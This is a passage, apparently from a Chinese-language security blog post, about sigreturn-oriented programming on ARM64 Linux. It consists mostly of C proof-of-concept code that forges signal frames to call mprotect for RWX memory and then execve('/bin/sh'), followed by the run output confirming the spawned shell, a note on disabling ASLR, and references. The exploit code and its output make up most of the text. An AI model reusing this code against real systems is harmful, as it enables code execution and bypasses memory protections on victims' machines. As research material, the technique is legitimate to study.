unsigned long ret = __builtin_return_address(0); unsigned long cfa = __builtin_frame_address(1); sigframe_push_mprotect(sigret_stack, addr, size, prot, syscall_ret_addr, ret, cfa); vul_trigger(sigret_stack); } void test_mprotect_wrapper(void) { struct sigframe frame __attribute__((aligned(0x10))); void * sigret_stack = &frame; unsigned long __attribute__((aligned(0x1000))) data = 0xd65f03c0; test_mprotect(sigret_stack, &data, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC); void (*p)(void) = &data; p(); } struct sigframe_for_exec { struct sigframe frame __attribute__((aligned(0x10))); void * argv[2] __attribute__((aligned(0x10))); char name[0]; }; void * test_exec(char * name, int shot) { unsigned long ret = __builtin_return_address(0); unsigned long cfa = __builtin_frame_address(1); void * arg0, * arg1 = NULL, * arg2 = NULL; int strlength = ROUND_UP(strlen(name) + 1); int size = ROUND_UP(sizeof(struct sigframe_for_exec) + strlength); struct sigframe_for_exec * sf_exec = malloc(size); memset(sf_exec, 0, size); arg0 = sf_exec->name; memcpy(arg0, name, sizeof(name)); sf_exec->argv[0] = arg0; arg1 = sf_exec->argv; sigframe_push_exec(&sf_exec->frame, arg0, arg1, arg2, sigreturn_addr + 4, ret, cfa); if(shot) vul_trigger(sf_exec); else return sf_exec; } void test_mprotect_exec() { struct sigframe frame __attribute__((aligned(0x10))); void * next_sigframe = &frame; void * prev_sigframe = test_exec("/bin/sh", 0); unsigned long ret = __builtin_return_address(0); unsigned long cfa = __builtin_frame_address(1); sigframe_push_mprotect(next_sigframe, ret & ~(0xfff), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, syscall_ret_addr, sigreturn_addr, prev_sigframe); vul_trigger(next_sigframe); } int main() { show_maps(); env_init(); test_mprotect_wrapper(); printf("[+] test mprotect RWX succeed!n"); //test_exec("/bin/sh", 1); test_mprotect_exec(); return 0; }
test case 输出如下:
Please press Enter to activate this console. # # ./main 00400000-00479000 r-xp 00000000 00:02 5 /main 00489000-0048a000 r--p 00079000 00:02 5 /main 0048a000-0048c000 rw-p 0007a000 00:02 5 /main 0048c000-0048f000 rw-p 00000000 00:00 0 2dedf000-2df01000 rw-p 00000000 00:00 0 [heap] ffffbaf5a000-ffffbaf5c000 r--p 00000000 00:00 0 [vvar] ffffbaf5c000-ffffbaf5d000 r-xp 00000000 00:00 0 [vdso] ffffccde0000-ffffcce01000 rw-p 00000000 00:00 0 [stack] [+] sigreturn addr:0xffffbaf5c85c, syscall_ret addr:0x4006e4 [+] add to sigframe(0x00ffffccdff100): mprotect(0xffffccdff000, 1000, 7); [+][kernel] mprotect called with addr:0000ffffccdff000, len:1000, prot:7 ## 内核日志,mprotect调用时打印信息 [+] test mprotect RWX succeed! [+] add to sigframe(0x0000002dee13d0): execve(/bin/sh, 0x2dee2620, (nil)); [+] add to sigframe(0x00ffffccdff0f0): mprotect(0x400000, 1000, 7); [+][kernel] mprotect called with addr:0000000000400000, len:1000, prot:7 ## 内核日志,mprotect调用时打印信息 # exit ## 两个exit退出, /bin/sh执行成功 # exit Please press Enter to activate this console.
PS:
vdso的地址是通过mmap分配出来的,故用户态ASLR可以对攻击者增加一个infoleak的难度, randomize_va_space >=1 时用户态进程开启VDSO(mmap)随机化[4]:
/ # cat /proc/self/maps|grep vdso ffffaf823000-ffffaf824000 r-xp 00000000 00:00 0 [vdso] / # cat /proc/self/maps|grep vdso ffffbb68a000-ffffbb68b000 r-xp 00000000 00:00 0 [vdso] / # echo 0 > /proc/sys/kernel/randomize_va_space / # cat /proc/self/maps|grep vdso fffff7fff000-fffff8000000 r-xp 00000000 00:00 0 [vdso] / # cat /proc/self/maps|grep vdso fffff7fff000-fffff8000000 r-xp 00000000 00:00 0 [vdso]
参考资料:
[0] 《Linux/Unix 系统编程手册》
[1] Framing Signals -- A Return to Portable Shellcode
[2] Framing Signals -- A Return to Portable Shellcode(slides)
[3] SROP_「二进制安全pwn基础」 - 网安
[4] https://docs.oracle.com/cd/E37670_01/E36387/html/ol_aslr_sec.html



